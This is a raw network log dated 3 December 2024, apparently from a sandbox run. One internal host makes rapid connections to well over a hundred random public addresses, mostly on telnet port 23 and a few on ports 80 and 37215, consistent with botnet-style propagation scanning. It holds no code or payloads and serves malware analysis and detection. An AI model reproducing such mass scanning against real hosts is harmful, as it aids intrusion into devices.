Dec 3, 2024 22:01:59.983344078 CET	23	39808	168.119.91.255	192.168.2.14
Dec 3, 2024 22:01:59.983407021 CET	23	39808	94.116.239.39	192.168.2.14
Dec 3, 2024 22:01:59.983412981 CET	23	39808	130.124.140.220	192.168.2.14
Dec 3, 2024 22:01:59.983438969 CET	23	39808	128.161.30.114	192.168.2.14
Dec 3, 2024 22:01:59.983449936 CET	39808	23	192.168.2.14	168.119.91.255
Dec 3, 2024 22:01:59.983449936 CET	39808	23	192.168.2.14	13.124.229.68
Dec 3, 2024 22:01:59.983449936 CET	39808	23	192.168.2.14	94.116.239.39
Dec 3, 2024 22:01:59.983449936 CET	39808	23	192.168.2.14	130.124.140.220
Dec 3, 2024 22:01:59.983449936 CET	39808	23	192.168.2.14	115.166.244.237
Dec 3, 2024 22:01:59.983469009 CET	23	39808	154.15.98.17	192.168.2.14
Dec 3, 2024 22:01:59.983475924 CET	39808	23	192.168.2.14	128.161.30.114
Dec 3, 2024 22:01:59.983505011 CET	23	39808	97.151.143.245	192.168.2.14
Dec 3, 2024 22:01:59.983509064 CET	39808	23	192.168.2.14	154.15.98.17
Dec 3, 2024 22:01:59.983510017 CET	23	39808	212.36.35.12	192.168.2.14
Dec 3, 2024 22:01:59.983561993 CET	39808	23	192.168.2.14	97.151.143.245
Dec 3, 2024 22:01:59.983565092 CET	39808	23	192.168.2.14	212.36.35.12
Dec 3, 2024 22:01:59.983580112 CET	23	39808	5.116.153.208	192.168.2.14
Dec 3, 2024 22:01:59.983584881 CET	23	39808	143.219.149.54	192.168.2.14
Dec 3, 2024 22:01:59.983606100 CET	23	39808	157.72.31.213	192.168.2.14
Dec 3, 2024 22:01:59.983609915 CET	23	39808	195.100.239.208	192.168.2.14
Dec 3, 2024 22:01:59.983642101 CET	23	39808	119.199.83.42	192.168.2.14
Dec 3, 2024 22:01:59.983680964 CET	39808	23	192.168.2.14	5.116.153.208
Dec 3, 2024 22:01:59.983680964 CET	39808	23	192.168.2.14	143.219.149.54
Dec 3, 2024 22:01:59.983680964 CET	39808	23	192.168.2.14	195.100.239.208
Dec 3, 2024 22:01:59.983680964 CET	39808	23	192.168.2.14	157.72.31.213
Dec 3, 2024 22:01:59.983705044 CET	39808	23	192.168.2.14	119.199.83.42
Dec 3, 2024 22:01:59.983715057 CET	23	39808	60.180.252.75	192.168.2.14
Dec 3, 2024 22:01:59.983720064 CET	23	39808	205.124.76.247	192.168.2.14
Dec 3, 2024 22:01:59.983758926 CET	39808	23	192.168.2.14	205.124.76.247
Dec 3, 2024 22:01:59.983760118 CET	39808	23	192.168.2.14	60.180.252.75
Dec 3, 2024 22:01:59.983799934 CET	23	39808	193.49.183.17	192.168.2.14
Dec 3, 2024 22:01:59.983805895 CET	23	39808	148.136.178.84	192.168.2.14
Dec 3, 2024 22:01:59.983814955 CET	23	39808	92.38.136.104	192.168.2.14
Dec 3, 2024 22:01:59.983819008 CET	23	39808	45.195.72.70	192.168.2.14
Dec 3, 2024 22:01:59.983827114 CET	23	39808	61.102.46.152	192.168.2.14
Dec 3, 2024 22:01:59.983831882 CET	23	39808	14.70.142.212	192.168.2.14
Dec 3, 2024 22:01:59.983839035 CET	23	39808	89.190.150.69	192.168.2.14
Dec 3, 2024 22:01:59.983843088 CET	23	39808	84.105.253.51	192.168.2.14
Dec 3, 2024 22:01:59.983851910 CET	23	39808	210.74.210.19	192.168.2.14
Dec 3, 2024 22:01:59.983851910 CET	39808	23	192.168.2.14	92.38.136.104
Dec 3, 2024 22:01:59.983851910 CET	39808	23	192.168.2.14	148.136.178.84
Dec 3, 2024 22:01:59.983854055 CET	39808	23	192.168.2.14	193.49.183.17
Dec 3, 2024 22:01:59.983854055 CET	39808	23	192.168.2.14	45.195.72.70
Dec 3, 2024 22:01:59.983855963 CET	23	39808	158.203.26.242	192.168.2.14
Dec 3, 2024 22:01:59.983861923 CET	23	39808	221.251.241.251	192.168.2.14
Dec 3, 2024 22:01:59.983866930 CET	23	39808	40.120.172.73	192.168.2.14
Dec 3, 2024 22:01:59.983867884 CET	39808	23	192.168.2.14	14.70.142.212
Dec 3, 2024 22:01:59.983871937 CET	39808	23	192.168.2.14	89.190.150.69
Dec 3, 2024 22:01:59.983877897 CET	39808	23	192.168.2.14	84.105.253.51
Dec 3, 2024 22:01:59.983887911 CET	39808	23	192.168.2.14	61.102.46.152
Dec 3, 2024 22:01:59.983887911 CET	39808	23	192.168.2.14	158.203.26.242
Dec 3, 2024 22:01:59.983889103 CET	39808	23	192.168.2.14	210.74.210.19
Dec 3, 2024 22:01:59.983891010 CET	39808	23	192.168.2.14	221.251.241.251
Dec 3, 2024 22:01:59.983899117 CET	39808	23	192.168.2.14	40.120.172.73
Dec 3, 2024 22:01:59.983944893 CET	23	39808	135.138.34.162	192.168.2.14
Dec 3, 2024 22:01:59.983949900 CET	23	39808	72.252.221.216	192.168.2.14
Dec 3, 2024 22:01:59.983961105 CET	23	39808	177.230.239.93	192.168.2.14
Dec 3, 2024 22:01:59.983964920 CET	23	39808	69.247.55.162	192.168.2.14
Dec 3, 2024 22:01:59.983973980 CET	23	39808	154.57.243.108	192.168.2.14
Dec 3, 2024 22:01:59.983978987 CET	23	39808	195.76.82.241	192.168.2.14
Dec 3, 2024 22:01:59.983983994 CET	23	39808	131.193.182.54	192.168.2.14
Dec 3, 2024 22:01:59.983994007 CET	23	39808	97.247.114.67	192.168.2.14
Dec 3, 2024 22:01:59.983994007 CET	39808	23	192.168.2.14	135.138.34.162
Dec 3, 2024 22:01:59.983994961 CET	39808	23	192.168.2.14	72.252.221.216
Dec 3, 2024 22:01:59.983994961 CET	39808	23	192.168.2.14	69.247.55.162
Dec 3, 2024 22:01:59.983997107 CET	39808	23	192.168.2.14	177.230.239.93
Dec 3, 2024 22:01:59.983998060 CET	23	39808	65.78.157.20	192.168.2.14
Dec 3, 2024 22:01:59.984011889 CET	39808	23	192.168.2.14	195.76.82.241
Dec 3, 2024 22:01:59.984014034 CET	39808	23	192.168.2.14	154.57.243.108
Dec 3, 2024 22:01:59.984014988 CET	39808	23	192.168.2.14	131.193.182.54
Dec 3, 2024 22:01:59.984030008 CET	39808	23	192.168.2.14	97.247.114.67
Dec 3, 2024 22:01:59.984044075 CET	39808	23	192.168.2.14	65.78.157.20
Dec 3, 2024 22:01:59.984514952 CET	23	39808	73.76.156.168	192.168.2.14
Dec 3, 2024 22:01:59.984535933 CET	23	39808	196.73.121.22	192.168.2.14
Dec 3, 2024 22:01:59.984564066 CET	39808	23	192.168.2.14	73.76.156.168
Dec 3, 2024 22:01:59.984572887 CET	23	39808	43.104.141.215	192.168.2.14
Dec 3, 2024 22:01:59.984595060 CET	39808	23	192.168.2.14	196.73.121.22
Dec 3, 2024 22:01:59.984596014 CET	23	39808	175.145.253.130	192.168.2.14
Dec 3, 2024 22:01:59.984611988 CET	39808	23	192.168.2.14	43.104.141.215
Dec 3, 2024 22:01:59.984637976 CET	39808	23	192.168.2.14	175.145.253.130
Dec 3, 2024 22:01:59.984651089 CET	23	39808	14.136.211.123	192.168.2.14
Dec 3, 2024 22:01:59.984656096 CET	23	39808	219.246.174.21	192.168.2.14
Dec 3, 2024 22:01:59.984678030 CET	23	39808	89.218.163.123	192.168.2.14
Dec 3, 2024 22:01:59.984694004 CET	39808	23	192.168.2.14	219.246.174.21
Dec 3, 2024 22:01:59.984699011 CET	23	39808	59.90.193.67	192.168.2.14
Dec 3, 2024 22:01:59.984702110 CET	39808	23	192.168.2.14	14.136.211.123
Dec 3, 2024 22:01:59.984719992 CET	39808	23	192.168.2.14	89.218.163.123
Dec 3, 2024 22:01:59.984721899 CET	23	39808	184.7.115.224	192.168.2.14
Dec 3, 2024 22:01:59.984743118 CET	23	39808	70.214.28.66	192.168.2.14
Dec 3, 2024 22:01:59.984745979 CET	39808	23	192.168.2.14	59.90.193.67
Dec 3, 2024 22:01:59.984765053 CET	39808	23	192.168.2.14	184.7.115.224
Dec 3, 2024 22:01:59.984774113 CET	39808	23	192.168.2.14	70.214.28.66
Dec 3, 2024 22:01:59.984782934 CET	23	39808	115.38.120.79	192.168.2.14
Dec 3, 2024 22:01:59.984810114 CET	23	39808	66.214.221.169	192.168.2.14
Dec 3, 2024 22:01:59.984829903 CET	23	39808	160.135.216.227	192.168.2.14
Dec 3, 2024 22:01:59.984848022 CET	39808	23	192.168.2.14	66.214.221.169
Dec 3, 2024 22:01:59.984863043 CET	39808	23	192.168.2.14	160.135.216.227
Dec 3, 2024 22:01:59.984874010 CET	39808	23	192.168.2.14	115.38.120.79
Dec 3, 2024 22:01:59.984916925 CET	23	39808	8.226.44.4	192.168.2.14
Dec 3, 2024 22:01:59.984962940 CET	23	39808	169.185.210.240	192.168.2.14
Dec 3, 2024 22:01:59.984966993 CET	23	39808	197.146.173.147	192.168.2.14
Dec 3, 2024 22:01:59.984985113 CET	39808	23	192.168.2.14	8.226.44.4
Dec 3, 2024 22:01:59.985004902 CET	23	39808	63.159.212.211	192.168.2.14
Dec 3, 2024 22:01:59.985027075 CET	39808	23	192.168.2.14	197.146.173.147
Dec 3, 2024 22:01:59.985039949 CET	39808	23	192.168.2.14	63.159.212.211
Dec 3, 2024 22:01:59.985054970 CET	23	39808	149.203.109.186	192.168.2.14
Dec 3, 2024 22:01:59.985059023 CET	23	39808	122.215.8.16	192.168.2.14
Dec 3, 2024 22:01:59.985063076 CET	23	39808	207.20.208.130	192.168.2.14
Dec 3, 2024 22:01:59.985068083 CET	39808	23	192.168.2.14	169.185.210.240
Dec 3, 2024 22:01:59.985086918 CET	39808	23	192.168.2.14	149.203.109.186
Dec 3, 2024 22:01:59.985104084 CET	39808	23	192.168.2.14	122.215.8.16
Dec 3, 2024 22:01:59.985109091 CET	39808	23	192.168.2.14	207.20.208.130
Dec 3, 2024 22:01:59.985193968 CET	23	39808	198.152.174.23	192.168.2.14
Dec 3, 2024 22:01:59.985198975 CET	23	39808	27.148.244.238	192.168.2.14
Dec 3, 2024 22:01:59.985208035 CET	23	39808	50.100.12.31	192.168.2.14
Dec 3, 2024 22:01:59.985212088 CET	23	39808	90.220.126.41	192.168.2.14
Dec 3, 2024 22:01:59.985217094 CET	23	39808	66.48.92.123	192.168.2.14
Dec 3, 2024 22:01:59.985220909 CET	23	39808	181.162.98.154	192.168.2.14
Dec 3, 2024 22:01:59.985224962 CET	23	39808	200.214.25.121	192.168.2.14
Dec 3, 2024 22:01:59.985229015 CET	23	39808	192.115.242.217	192.168.2.14
Dec 3, 2024 22:01:59.985239029 CET	39808	23	192.168.2.14	198.152.174.23
Dec 3, 2024 22:01:59.985244989 CET	39808	23	192.168.2.14	66.48.92.123
Dec 3, 2024 22:01:59.985244989 CET	39808	23	192.168.2.14	27.148.244.238
Dec 3, 2024 22:01:59.985245943 CET	39808	23	192.168.2.14	200.214.25.121
Dec 3, 2024 22:01:59.985253096 CET	39808	23	192.168.2.14	90.220.126.41
Dec 3, 2024 22:01:59.985255957 CET	39808	23	192.168.2.14	50.100.12.31
Dec 3, 2024 22:01:59.985266924 CET	39808	23	192.168.2.14	181.162.98.154
Dec 3, 2024 22:01:59.985266924 CET	39808	23	192.168.2.14	192.115.242.217
Dec 3, 2024 22:01:59.985735893 CET	23	39808	222.73.93.37	192.168.2.14
Dec 3, 2024 22:01:59.985781908 CET	23	39808	157.54.143.191	192.168.2.14
Dec 3, 2024 22:01:59.985841990 CET	23	39808	91.200.13.185	192.168.2.14
Dec 3, 2024 22:01:59.985846996 CET	23	39808	119.162.54.61	192.168.2.14
Dec 3, 2024 22:01:59.985851049 CET	23	39808	123.104.175.31	192.168.2.14
Dec 3, 2024 22:01:59.985852957 CET	39808	23	192.168.2.14	222.73.93.37
Dec 3, 2024 22:01:59.985853910 CET	39808	23	192.168.2.14	157.54.143.191
Dec 3, 2024 22:01:59.985856056 CET	23	39808	163.183.101.176	192.168.2.14
Dec 3, 2024 22:01:59.985883951 CET	39808	23	192.168.2.14	91.200.13.185
Dec 3, 2024 22:01:59.985883951 CET	39808	23	192.168.2.14	123.104.175.31
Dec 3, 2024 22:01:59.985898018 CET	39808	23	192.168.2.14	119.162.54.61
Dec 3, 2024 22:01:59.985898972 CET	39808	23	192.168.2.14	163.183.101.176
Dec 3, 2024 22:01:59.985909939 CET	23	39808	198.181.223.122	192.168.2.14
Dec 3, 2024 22:01:59.985932112 CET	23	39808	122.20.162.86	192.168.2.14
Dec 3, 2024 22:01:59.985937119 CET	23	39808	198.17.196.53	192.168.2.14
Dec 3, 2024 22:01:59.985950947 CET	39808	23	192.168.2.14	198.181.223.122
Dec 3, 2024 22:01:59.985971928 CET	39808	23	192.168.2.14	122.20.162.86
Dec 3, 2024 22:01:59.985976934 CET	39808	23	192.168.2.14	198.17.196.53
Dec 3, 2024 22:01:59.985986948 CET	23	39808	219.94.155.198	192.168.2.14
Dec 3, 2024 22:01:59.986032009 CET	23	39808	157.191.153.182	192.168.2.14
Dec 3, 2024 22:01:59.986037016 CET	23	39808	114.125.101.1	192.168.2.14
Dec 3, 2024 22:01:59.986069918 CET	39808	23	192.168.2.14	219.94.155.198
Dec 3, 2024 22:01:59.986079931 CET	39808	23	192.168.2.14	157.191.153.182
Dec 3, 2024 22:01:59.986093998 CET	39808	23	192.168.2.14	114.125.101.1
Dec 3, 2024 22:01:59.986154079 CET	23	39808	143.25.199.21	192.168.2.14
Dec 3, 2024 22:01:59.986159086 CET	23	39808	73.215.30.204	192.168.2.14
Dec 3, 2024 22:01:59.986166954 CET	23	39808	136.255.16.98	192.168.2.14
Dec 3, 2024 22:01:59.986177921 CET	23	39808	57.173.44.141	192.168.2.14
Dec 3, 2024 22:01:59.986186981 CET	23	39808	155.143.127.153	192.168.2.14
Dec 3, 2024 22:01:59.986191034 CET	23	39808	83.126.32.218	192.168.2.14
Dec 3, 2024 22:01:59.986193895 CET	23	39808	46.236.147.29	192.168.2.14
Dec 3, 2024 22:01:59.986196995 CET	39808	23	192.168.2.14	143.25.199.21
Dec 3, 2024 22:01:59.986197948 CET	23	39808	48.34.198.188	192.168.2.14
Dec 3, 2024 22:01:59.986206055 CET	39808	23	192.168.2.14	136.255.16.98
Dec 3, 2024 22:01:59.986208916 CET	39808	23	192.168.2.14	155.143.127.153
Dec 3, 2024 22:01:59.986210108 CET	23	39808	78.49.218.0	192.168.2.14
Dec 3, 2024 22:01:59.986213923 CET	39808	23	192.168.2.14	73.215.30.204
Dec 3, 2024 22:01:59.986213923 CET	39808	23	192.168.2.14	83.126.32.218
Dec 3, 2024 22:01:59.986216068 CET	23	39808	94.182.226.117	192.168.2.14
Dec 3, 2024 22:01:59.986231089 CET	23	39808	84.29.78.100	192.168.2.14
Dec 3, 2024 22:01:59.986232996 CET	39808	23	192.168.2.14	57.173.44.141
Dec 3, 2024 22:01:59.986232996 CET	39808	23	192.168.2.14	46.236.147.29
Dec 3, 2024 22:01:59.986232996 CET	39808	23	192.168.2.14	48.34.198.188
Dec 3, 2024 22:01:59.986234903 CET	23	39808	47.107.208.217	192.168.2.14
Dec 3, 2024 22:01:59.986253023 CET	23	39808	193.104.160.9	192.168.2.14
Dec 3, 2024 22:01:59.986258030 CET	23	39808	78.118.253.168	192.168.2.14
Dec 3, 2024 22:01:59.986260891 CET	39808	23	192.168.2.14	78.49.218.0
Dec 3, 2024 22:01:59.986260891 CET	39808	23	192.168.2.14	47.107.208.217
Dec 3, 2024 22:01:59.986262083 CET	23	39808	154.19.5.90	192.168.2.14
Dec 3, 2024 22:01:59.986263990 CET	39808	23	192.168.2.14	94.182.226.117
Dec 3, 2024 22:01:59.986264944 CET	39808	23	192.168.2.14	84.29.78.100
Dec 3, 2024 22:01:59.986265898 CET	23	39808	1.151.38.158	192.168.2.14
Dec 3, 2024 22:01:59.986298084 CET	39808	23	192.168.2.14	154.19.5.90
Dec 3, 2024 22:01:59.986298084 CET	39808	23	192.168.2.14	78.118.253.168
Dec 3, 2024 22:01:59.986298084 CET	39808	23	192.168.2.14	193.104.160.9
Dec 3, 2024 22:01:59.986305952 CET	39808	23	192.168.2.14	1.151.38.158
Dec 3, 2024 22:01:59.986320019 CET	23	39808	106.94.213.34	192.168.2.14
Dec 3, 2024 22:01:59.986325026 CET	23	39808	135.5.244.226	192.168.2.14
Dec 3, 2024 22:01:59.986354113 CET	39808	23	192.168.2.14	135.5.244.226
Dec 3, 2024 22:01:59.986380100 CET	39808	23	192.168.2.14	106.94.213.34
Dec 3, 2024 22:02:00.005923033 CET	80	39296	60.237.166.35	192.168.2.14
Dec 3, 2024 22:02:00.005933046 CET	80	39296	182.197.9.130	192.168.2.14
Dec 3, 2024 22:02:00.005965948 CET	39296	80	192.168.2.14	60.237.166.35
Dec 3, 2024 22:02:00.005971909 CET	39296	80	192.168.2.14	182.197.9.130
Dec 3, 2024 22:02:00.007411003 CET	37215	40832	197.154.225.139	192.168.2.14
Dec 3, 2024 22:02:00.007546902 CET	40832	37215	192.168.2.14	197.154.225.139
Dec 3, 2024 22:02:00.428797007 CET	49878	23	192.168.2.14	217.32.184.17
Dec 3, 2024 22:02:00.548815012 CET	23	49878	217.32.184.17	192.168.2.14
Dec 3, 2024 22:02:00.548993111 CET	49878	23	192.168.2.14	217.32.184.17
Dec 3, 2024 22:02:00.549786091 CET	49878	23	192.168.2.14	217.32.184.17
Dec 3, 2024 22:02:00.669801950 CET	23	49878	217.32.184.17	192.168.2.14
Dec 3, 2024 22:02:00.669878006 CET	49878	23	192.168.2.14	217.32.184.17
Dec 3, 2024 22:02:00.789824963 CET	23	49878	217.32.184.17	192.168.2.14
Dec 3, 2024 22:02:00.864459038 CET	39808	23	192.168.2.14	54.209.250.169
Dec 3, 2024 22:02:00.864459038 CET	39808	23	192.168.2.14	142.138.243.191
Dec 3, 2024 22:02:00.864473104 CET	39808	23	192.168.2.14	82.129.228.119
Dec 3, 2024 22:02:00.864473104 CET	39808	23	192.168.2.14	130.230.252.173
Dec 3, 2024 22:02:00.864490032 CET	39808	23	192.168.2.14	146.246.61.245
Dec 3, 2024 22:02:00.864490986 CET	39808	23	192.168.2.14	20.210.138.128
Dec 3, 2024 22:02:00.864500999 CET	39808	23	192.168.2.14	37.110.33.41
Dec 3, 2024 22:02:00.864511967 CET	39808	23	192.168.2.14	120.44.162.106
Dec 3, 2024 22:02:00.864522934 CET	39808	23	192.168.2.14	42.239.28.216
Dec 3, 2024 22:02:00.864528894 CET	39808	23	192.168.2.14	60.241.179.239
Dec 3, 2024 22:02:00.864531994 CET	39808	23	192.168.2.14	150.110.243.151
Dec 3, 2024 22:02:00.864536047 CET	39808	23	192.168.2.14	111.208.105.182
Dec 3, 2024 22:02:00.864540100 CET	39808	23	192.168.2.14	105.38.249.28
Dec 3, 2024 22:02:00.864553928 CET	39808	23	192.168.2.14	115.44.115.201
Dec 3, 2024 22:02:00.864567041 CET	39808	23	192.168.2.14	182.112.23.245
Dec 3, 2024 22:02:00.864569902 CET	39808	23	192.168.2.14	31.254.18.225
Dec 3, 2024 22:02:00.864572048 CET	39808	23	192.168.2.14	50.23.168.94
Dec 3, 2024 22:02:00.864573002 CET	39808	23	192.168.2.14	66.115.118.77
Dec 3, 2024 22:02:00.864584923 CET	39808	23	192.168.2.14	155.214.134.11
Dec 3, 2024 22:02:00.864590883 CET	39808	23	192.168.2.14	124.66.203.218
Dec 3, 2024 22:02:00.864603043 CET	39808	23	192.168.2.14	73.137.1.150
Dec 3, 2024 22:02:00.864603043 CET	39808	23	192.168.2.14	25.223.63.176
Dec 3, 2024 22:02:00.864605904 CET	39808	23	192.168.2.14	154.91.35.210
Dec 3, 2024 22:02:00.864617109 CET	39808	23	192.168.2.14	85.188.158.213
Dec 3, 2024 22:02:00.864624023 CET	39808	23	192.168.2.14	57.77.79.213
Dec 3, 2024 22:02:00.864631891 CET	39808	23	192.168.2.14	190.154.182.166
Dec 3, 2024 22:02:00.864633083 CET	39808	23	192.168.2.14	180.28.106.176
Dec 3, 2024 22:02:00.864633083 CET	39808	23	192.168.2.14	149.6.49.115
Dec 3, 2024 22:02:00.864650011 CET	39808	23	192.168.2.14	53.45.88.145
Dec 3, 2024 22:02:00.864653111 CET	39808	23	192.168.2.14	171.228.226.194
Dec 3, 2024 22:02:00.864665985 CET	39808	23	192.168.2.14	192.222.129.193
Dec 3, 2024 22:02:00.864669085 CET	39808	23	192.168.2.14	66.14.218.156
Dec 3, 2024 22:02:00.864675045 CET	39808	23	192.168.2.14	32.223.212.50
Dec 3, 2024 22:02:00.864685059 CET	39808	23	192.168.2.14	184.159.152.247
Dec 3, 2024 22:02:00.864694118 CET	39808	23	192.168.2.14	172.94.77.167
Dec 3, 2024 22:02:00.864696026 CET	39808	23	192.168.2.14	108.154.226.159
Dec 3, 2024 22:02:00.864702940 CET	39808	23	192.168.2.14	123.161.17.2
Dec 3, 2024 22:02:00.864711046 CET	39808	23	192.168.2.14	213.157.122.198
Dec 3, 2024 22:02:00.864722967 CET	39808	23	192.168.2.14	115.25.115.210
Dec 3, 2024 22:02:00.864727020 CET	39808	23	192.168.2.14	133.205.229.232
Dec 3, 2024 22:02:00.864742041 CET	39808	23	192.168.2.14	179.208.173.24
Dec 3, 2024 22:02:00.864742994 CET	39808	23	192.168.2.14	160.164.86.179
Dec 3, 2024 22:02:00.864770889 CET	39808	23	192.168.2.14	163.154.219.202
Dec 3, 2024 22:02:00.864789963 CET	39808	23	192.168.2.14	148.17.6.213
Dec 3, 2024 22:02:00.864789963 CET	39808	23	192.168.2.14	39.207.162.80
Dec 3, 2024 22:02:00.864792109 CET	39808	23	192.168.2.14	94.91.233.190
Dec 3, 2024 22:02:00.864792109 CET	39808	23	192.168.2.14	139.65.236.86
Dec 3, 2024 22:02:00.864795923 CET	39808	23	192.168.2.14	199.203.139.194
Dec 3, 2024 22:02:00.864797115 CET	39808	23	192.168.2.14	107.69.20.248
Dec 3, 2024 22:02:00.864797115 CET	39808	23	192.168.2.14	176.1.170.245
Dec 3, 2024 22:02:00.864797115 CET	39808	23	192.168.2.14	185.125.252.177
Dec 3, 2024 22:02:00.864799023 CET	39808	23	192.168.2.14	120.102.98.149
Dec 3, 2024 22:02:00.864799023 CET	39808	23	192.168.2.14	165.63.230.118
Dec 3, 2024 22:02:00.864831924 CET	39808	23	192.168.2.14	102.80.135.208
Dec 3, 2024 22:02:00.864834070 CET	39808	23	192.168.2.14	95.111.242.93
Dec 3, 2024 22:02:00.864835978 CET	39808	23	192.168.2.14	162.70.178.30
Dec 3, 2024 22:02:00.864835978 CET	39808	23	192.168.2.14	143.117.223.204
Dec 3, 2024 22:02:00.864836931 CET	39808	23	192.168.2.14	39.16.190.172
Dec 3, 2024 22:02:00.864836931 CET	39808	23	192.168.2.14	211.69.129.79
Dec 3, 2024 22:02:00.864837885 CET	39808	23	192.168.2.14	89.59.242.7
Dec 3, 2024 22:02:00.864837885 CET	39808	23	192.168.2.14	88.97.68.174
Dec 3, 2024 22:02:00.864837885 CET	39808	23	192.168.2.14	25.0.196.199
Dec 3, 2024 22:02:00.864841938 CET	39808	23	192.168.2.14	92.197.108.190
Dec 3, 2024 22:02:00.864842892 CET	39808	23	192.168.2.14	45.38.219.202
Dec 3, 2024 22:02:00.864842892 CET	39808	23	192.168.2.14	205.127.61.13
Dec 3, 2024 22:02:00.864856005 CET	39808	23	192.168.2.14	53.237.131.141
Dec 3, 2024 22:02:00.864856005 CET	39808	23	192.168.2.14	112.225.79.181
Dec 3, 2024 22:02:00.864857912 CET	39808	23	192.168.2.14	105.46.1.112
Dec 3, 2024 22:02:00.864857912 CET	39808	23	192.168.2.14	147.110.241.147
Dec 3, 2024 22:02:00.864857912 CET	39808	23	192.168.2.14	37.34.136.107
Dec 3, 2024 22:02:00.864857912 CET	39808	23	192.168.2.14	179.148.242.201
Dec 3, 2024 22:02:00.864857912 CET	39808	23	192.168.2.14	160.166.16.15
Dec 3, 2024 22:02:00.864857912 CET	39808	23	192.168.2.14	190.238.17.67
Dec 3, 2024 22:02:00.864857912 CET	39808	23	192.168.2.14	78.104.149.54
Dec 3, 2024 22:02:00.864857912 CET	39808	23	192.168.2.14	160.111.90.220
Dec 3, 2024 22:02:00.864864111 CET	39808	23	192.168.2.14	27.9.185.49
Dec 3, 2024 22:02:00.864864111 CET	39808	23	192.168.2.14	169.29.224.24
Dec 3, 2024 22:02:00.864864111 CET	39808	23	192.168.2.14	211.95.211.58
Dec 3, 2024 22:02:00.864864111 CET	39808	23	192.168.2.14	193.102.59.233
Dec 3, 2024 22:02:00.864869118 CET	39808	23	192.168.2.14	98.170.193.66
Dec 3, 2024 22:02:00.864869118 CET	39808	23	192.168.2.14	1.230.10.66
Dec 3, 2024 22:02:00.864872932 CET	39808	23	192.168.2.14	90.126.160.225
Dec 3, 2024 22:02:00.864872932 CET	39808	23	192.168.2.14	66.214.186.90
Dec 3, 2024 22:02:00.864872932 CET	39808	23	192.168.2.14	170.153.254.83
Dec 3, 2024 22:02:00.864872932 CET	39808	23	192.168.2.14	59.210.188.193
Dec 3, 2024 22:02:00.864878893 CET	39808	23	192.168.2.14	75.54.151.23
Dec 3, 2024 22:02:00.864887953 CET	39808	23	192.168.2.14	143.167.69.217
Dec 3, 2024 22:02:00.864887953 CET	39808	23	192.168.2.14	168.9.6.143
Dec 3, 2024 22:02:00.864892960 CET	39808	23	192.168.2.14	95.135.111.65
Dec 3, 2024 22:02:00.864892960 CET	39808	23	192.168.2.14	114.46.8.174
Dec 3, 2024 22:02:00.864887953 CET	39808	23	192.168.2.14	14.41.231.155
Dec 3, 2024 22:02:00.864887953 CET	39808	23	192.168.2.14	93.83.130.48
Dec 3, 2024 22:02:00.864887953 CET	39808	23	192.168.2.14	37.108.249.43
Dec 3, 2024 22:02:00.864902973 CET	39808	23	192.168.2.14	48.167.240.107
Dec 3, 2024 22:02:00.864905119 CET	39808	23	192.168.2.14	107.2.164.30
Dec 3, 2024 22:02:00.864905119 CET	39808	23	192.168.2.14	42.232.9.191
Dec 3, 2024 22:02:00.864906073 CET	39808	23	192.168.2.14	139.7.23.154
Dec 3, 2024 22:02:00.864906073 CET	39808	23	192.168.2.14	104.72.84.60
Dec 3, 2024 22:02:00.864914894 CET	39808	23	192.168.2.14	162.125.85.89
Dec 3, 2024 22:02:00.864919901 CET	39808	23	192.168.2.14	138.29.38.137
Dec 3, 2024 22:02:00.864927053 CET	39808	23	192.168.2.14	39.70.226.12
Dec 3, 2024 22:02:00.864958048 CET	39808	23	192.168.2.14	109.19.4.150
Dec 3, 2024 22:02:00.864968061 CET	39808	23	192.168.2.14	35.4.186.50
Dec 3, 2024 22:02:00.864974022 CET	39808	23	192.168.2.14	173.190.253.23
Dec 3, 2024 22:02:00.864979982 CET	39808	23	192.168.2.14	90.55.5.100
Dec 3, 2024 22:02:00.864990950 CET	39808	23	192.168.2.14	146.15.84.157
Dec 3, 2024 22:02:00.864999056 CET	39808	23	192.168.2.14	73.191.163.226
Dec 3, 2024 22:02:00.865003109 CET	39808	23	192.168.2.14	1.111.217.85
Dec 3, 2024 22:02:00.865017891 CET	39808	23	192.168.2.14	100.133.6.255
Dec 3, 2024 22:02:00.865025043 CET	39808	23	192.168.2.14	105.204.64.14
Dec 3, 2024 22:02:00.865031958 CET	39808	23	192.168.2.14	2.225.89.196
Dec 3, 2024 22:02:00.865036964 CET	39808	23	192.168.2.14	133.206.175.80
Dec 3, 2024 22:02:00.865044117 CET	39808	23	192.168.2.14	90.195.81.133
Dec 3, 2024 22:02:00.865057945 CET	39808	23	192.168.2.14	57.169.237.32
Dec 3, 2024 22:02:00.865077972 CET	39808	23	192.168.2.14	107.69.139.219
Dec 3, 2024 22:02:00.865077972 CET	39808	23	192.168.2.14	184.112.28.92
Dec 3, 2024 22:02:00.865077972 CET	39808	23	192.168.2.14	37.241.71.85
Dec 3, 2024 22:02:00.865099907 CET	39808	23	192.168.2.14	97.182.4.218
Dec 3, 2024 22:02:00.865099907 CET	39808	23	192.168.2.14	42.195.150.86
Dec 3, 2024 22:02:00.865104914 CET	39808	23	192.168.2.14	87.248.13.84
Dec 3, 2024 22:02:00.865114927 CET	39808	23	192.168.2.14	75.4.236.30
Dec 3, 2024 22:02:00.865122080 CET	39808	23	192.168.2.14	182.140.74.134
Dec 3, 2024 22:02:00.865123987 CET	39808	23	192.168.2.14	45.62.18.57
Dec 3, 2024 22:02:00.865134954 CET	39808	23	192.168.2.14	191.158.188.166
Dec 3, 2024 22:02:00.865142107 CET	39808	23	192.168.2.14	132.113.33.92
Dec 3, 2024 22:02:00.865153074 CET	39808	23	192.168.2.14	143.102.14.102
Dec 3, 2024 22:02:00.865154982 CET	39808	23	192.168.2.14	119.249.138.157
Dec 3, 2024 22:02:00.865164042 CET	39808	23	192.168.2.14	74.71.253.8
Dec 3, 2024 22:02:00.865171909 CET	39808	23	192.168.2.14	12.255.7.100
Dec 3, 2024 22:02:00.865186930 CET	39808	23	192.168.2.14	160.187.8.255
Dec 3, 2024 22:02:00.865186930 CET	39808	23	192.168.2.14	8.206.153.212
Dec 3, 2024 22:02:00.865197897 CET	39808	23	192.168.2.14	32.105.239.24
Dec 3, 2024 22:02:00.865206003 CET	39808	23	192.168.2.14	209.155.184.96
Dec 3, 2024 22:02:00.865211964 CET	39808	23	192.168.2.14	202.212.50.132
Dec 3, 2024 22:02:00.865231037 CET	39808	23	192.168.2.14	112.87.70.127
Dec 3, 2024 22:02:00.865240097 CET	39808	23	192.168.2.14	113.108.134.37
Dec 3, 2024 22:02:00.865242004 CET	39808	23	192.168.2.14	129.124.2.236
Dec 3, 2024 22:02:00.865262985 CET	39808	23	192.168.2.14	120.76.170.52
Dec 3, 2024 22:02:00.865278959 CET	39808	23	192.168.2.14	196.162.210.83
